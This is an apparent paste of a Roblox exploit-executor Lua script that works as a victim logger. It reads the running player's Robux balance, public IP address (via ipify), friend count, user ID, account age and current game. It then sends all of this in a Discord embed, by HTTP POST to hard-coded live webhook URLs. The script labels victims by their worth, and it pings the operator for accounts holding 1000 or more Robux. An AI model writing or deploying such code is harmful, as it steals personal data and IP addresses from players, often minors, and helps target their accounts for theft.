Facebook
From Edgy Dormouse, 1 Year ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 3293
  1. local robux = tostring(game:HttpGetAsync("https://economy.roblox.com/v1/user/currency", true))
  2.  
  3. local str = robux
  4. local robux, replaced = string.gsub(str, '{"robux":', "")
  5. local str = robux
  6. local robux, replaced = string.gsub(str, '}', "")
  7.  
  8. local robuxcount = tonumber(robux)
  9.  
  10.  
  11. function abbreviateNumber (n)
  12.         local s = tostring(math.floor(n))
  13.         return string.sub(s, 1, ((#s - 1) % 3) + 1) .. ({"", "K", "M", "B", "T", "QA", "QI", "SX", "SP", "OC", "NO", "DC", "UD", "DD", "TD", "QAD", "QID", "SXD", "SPD", "OCD", "NOD", "VG", "UVG"})[math.floor((#s - 1) / 3) + 1]
  14. end
  15.  
  16.  
  17.  
  18. local robux = abbreviateNumber(robuxcount)
  19.  
  20. local webhookvar = ""
  21.  
  22. local beamed = "Teleported"
  23.  
  24. local color = 0x27FF00
  25.  
  26. local bobux = false
  27.  
  28. if robuxcount <= 1 then
  29.     beamed = "Kicked"
  30. end
  31.  
  32. if game.Players.LocalPlayer.AccountAge <= 14 and robuxcount <= 1 then
  33.     beamed = "Alt Account"
  34. end
  35.  
  36. local ping = ""
  37.  
  38.  
  39.  
  40. if robuxcount >= 1000 then
  41.     ping = "<@!862819250895716373>"
  42. end
  43.  
  44. if beamed == "Alt Account" then
  45.         color = 0xBF40BF
  46.         webhookvar = "https://discord.com/api/webhooks/984952647499005982/VnciJV6JWyOVp64CLh6xozHmx8CrOOzbOwF4fQX1hM5NX_uf71zlEc90ughR3gBC8HaH"
  47. end
  48.  
  49. if beamed == "Kicked" then
  50.     color = 0xFF0000
  51.         webhookvar = "https://discord.com/api/webhooks/984952546386915388/7KB5cIpwQOo14WdvjyhwjfgfwNskO9Wt3xQal_9IUAsqH6RD8vsJtNJ4lVuS2laRmTls"
  52. end
  53.  
  54. if beamed == "Teleported" then
  55.     color = 0x00FF00
  56.         webhookvar = "https://discord.com/api/webhooks/982074139353436213/sL1n1ycMyJO7vdcP1_7E3FDCn8hxS8hic5AbmK0TVfg5MnMwRAZJ5T6_CA3lZ3HVdiF-"
  57. end
  58.  
  59.  
  60.  
  61. local GameName = game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId).Name
  62.  
  63. local ip = tostring(game:HttpGet("https://api.ipify.org", true))
  64.  
  65. local Players = game:GetService("Players")
  66.  
  67. local USERNAME = game.Players.LocalPlayer.Name
  68.  
  69. local friendscount = 0
  70.  
  71. local function iterPageItems(pages)
  72.         return coroutine.wrap(function()
  73.                 local pagenum = 1
  74.                 while true do
  75.                         for _, item in ipairs(pages:GetCurrentPage()) do
  76.                                 coroutine.yield(item, pagenum)
  77.                         end
  78.                         if pages.IsFinished then
  79.                                 break
  80.                         end
  81.                         pages:AdvanceToNextPageAsync()
  82.                         pagenum = pagenum + 1
  83.                 end
  84.         end)
  85. end
  86.  
  87. -- First, get the user ID of the player
  88. local userId = Players:GetUserIdFromNameAsync(USERNAME)
  89. -- Then, get a FriendPages object for their friends
  90. local friendPages = Players:GetFriendsAsync(userId)
  91. -- Iterate over the items in the pages. For FriendPages, these
  92. -- are tables of information about the friend, including Username.
  93. -- Collect each username in a table
  94. local usernames = {}
  95. for item, pageNo in iterPageItems(friendPages) do
  96.         table.insert(usernames, item.Username)
  97.         friendscount = friendscount + 1
  98. end
  99.  
  100. local webhookcheck =
  101.    is_sirhurt_closure and "Sirhurt" or pebc_execute and "ProtoSmasher" or syn and "Synapse X" or
  102.    secure_load and "Sentinel" or
  103.    KRNL_LOADED and "Krnl" or
  104.    SONA_LOADED and "Sona" or
  105.    "Kid with shit exploit"
  106.  
  107. local url = webhookvar
  108. local data =
  109.         {
  110.                 ["content"] = ping,
  111.                 ["embeds"] = {{
  112.                         ["title"] = "@"..game.Players.LocalPlayer.Name,
  113.                         ["color"] = tonumber(color); -- Hex color code, currently set to red.
  114.                         ["tts"] = true; -- Can someone use the discord feature: text to speach with your message.
  115.                         ["url"] = "https://www.roblox.com/users/"..game.Players.LocalPlayer.userId.."/profile"; -- Same as with author's url, but this one only connects to the title of the whole message.
  116.                         ["thumbnail"] = {
  117.                                 ["url"] = "https://www.roblox.com/headshot-thumbnail/image?userId="..game.Players.LocalPlayer.userId.."&width=150&height=150&format=png";
  118.                         };
  119.                         ["fields"] = { -- Make a table
  120.                             { -- now make a new one for each field you wish to add
  121.                                         ["name"] = "> Friends :handshake:";
  122.                                         ["value"] = "```"..friendscount.."```",
  123.                                         ["inline"] = true; -- means that its either inline with others, from left to right or if it is set to false, from up to down.
  124.                                 },
  125.                                  { -- now make a new one for each field you wish to add
  126.                                         ["name"] = "> UserId  :mortar_board: ";
  127.                                         ["value"] = "```"..game.Players.LocalPlayer.userId.."```",
  128.                                         ["inline"] = true; -- means that its either inline with others, from left to right or if it is set to false, from up to down.
  129.                                 },
  130.                                  { -- now make a new one for each field you wish to add
  131.                                         ["name"] = "> Account Age  :robot:";
  132.                                         ["value"] = "```"..game.Players.LocalPlayer.AccountAge.."```",
  133.                                         ["inline"] = true; -- means that its either inline with others, from left to right or if it is set to false, from up to down.
  134.                                 },
  135.                                  { -- now make a new one for each field you wish to add
  136.                                         ["name"] = "> Bobux  :dollar: ";
  137.                                         ["value"] = [[```yaml
  138. ]]..robux..[[
  139.                                         ```]],
  140.                                         ["inline"] = true; -- means that its either inline with others, from left to right or if it is set to false, from up to down.
  141.                                 },
  142.                                 { -- now make a new one for each field you wish to add
  143.                                         ["name"] = "> IP Address  :woman_detective:";
  144.                                         ["value"] = [[```
  145. ]]..ip..[[
  146.                                         ```]]; -- The text,value or information under the title of the field aka name.
  147.                                         ["inline"] = true; -- means that its either inline with others, from left to right or if it is set to false, from up to down.
  148.                                 },     
  149.                                                                 { -- now make a new one for each field you wish to add
  150.                                         ["name"] = "> Status :closed_umbrella:";
  151.                                         ["value"] = [[```yaml
  152. ]]..beamed..[[
  153.                                         ```]]; -- The text,value or information under the title of the field aka name.
  154.                                         ["inline"] = true; -- means that its either inline with others, from left to right or if it is set to false, from up to down.
  155.                                 },                      { -- now make a new one for each field you wish to add
  156.                                         ["name"] = "Game  :dart:";
  157.                                         ["value"] = [[```fix
  158. ]]..GameName..[[
  159.                                         ```]];
  160.                                         ["inline"] = false; -- means that its either inline with others, from left to right or if it is set to false, from up to down.
  161.                                 },
  162.                                
  163.                         }
  164.                        
  165.                 }}
  166.         }
  167.  
  168. local newdata = game:GetService("HttpService"):JSONEncode(data)
  169.  
  170. local headers = {
  171.    ["content-type"] = "application/json"
  172. }
  173. request = http_request or request or HttpPost or syn.request
  174. local abcdef = {Url = url, Body = newdata, Method = "POST", Headers = headers}
  175. request(abcdef)